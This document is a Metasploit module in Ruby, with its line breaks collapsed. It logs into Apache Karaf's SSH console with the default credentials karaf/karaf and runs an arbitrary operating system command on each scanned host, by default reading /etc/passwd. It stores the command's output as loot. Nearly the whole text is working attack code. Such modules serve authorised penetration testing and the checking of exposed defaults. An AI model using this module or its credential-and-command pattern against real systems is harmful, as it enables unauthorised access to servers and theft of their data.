Apache Karaf Default Credentials Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'net/ssh'class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::SSH  def initialize(info={})    super(update_info(info,      'Name'           => "Apache Karaf Default Credentials Command Execution",      'Description'    => %q{        This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.        The 'karaf' user has a known default password, which can be used to login to the        SSH service, and execute operating system commands from remote.      },      'License'        => MSF_LICENSE,      'Author'         =>        [          'Nicholas Starke <[email protected]>'        ],      'Platform'       => 'unix',      'Arch'           => ARCH_CMD,      'Privileged'     => true,      'DisclosureDate' => '2016-02-09'))    register_options(      [        Opt::RPORT(8101),        OptString.new('USERNAME', [true, 'Username', 'karaf']),        OptString.new('PASSWORD', [true, 'Password', 'karaf']),        OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])      ], self.class    )    register_advanced_options(      [        Opt::Proxies,        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])      ]    )  end  def rport    datastore['RPORT']  end  def username    datastore['USERNAME']  end  def password    datastore['PASSWORD']  end  def cmd    datastore['CMD']  end  def do_login(user, pass, ip)    opts = ssh_client_defaults.merge({      :auth_methods    => ['password'],      :port            => rport,      :password        => pass,    })    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']    begin      ssh = ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        Net::SSH.start(ip, user, opts)      end      if ssh        print_good("#{ip}:#{rport} - Login Successful ('#{user}:#{pass})'")      else        print_error "#{ip}:#{rport} - Unknown error"      end    rescue OpenSSL::Cipher::CipherError => e      print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")      return    rescue Rex::ConnectionError      return    rescue Net::SSH::Disconnect, ::EOFError      print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"      return    rescue ::Timeout::Error      print_error "#{ip}:#{rport} SSH - Timed out during negotiation"      return    rescue Net::SSH::AuthenticationFailed      print_error "#{ip}:#{rport} SSH - Failed authentication"    rescue Net::SSH::Exception => e      print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"      return    end    ssh  end  def run_host(ip)    print_status("#{ip}:#{rport} - Attempt to login...")    ssh = do_login(username, password, ip)    if ssh      output = ssh.exec!("#{cmd}\n").to_s      if output        print_good("#{ip}:#{rport} - Command successfully executed.  Output: #{output}")        store_loot("apache.karaf.command",                "text/plain",                ip,                output)        vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")      else        print_error "#{ip}:#{rport} - Command failed to execute"      end    end  endend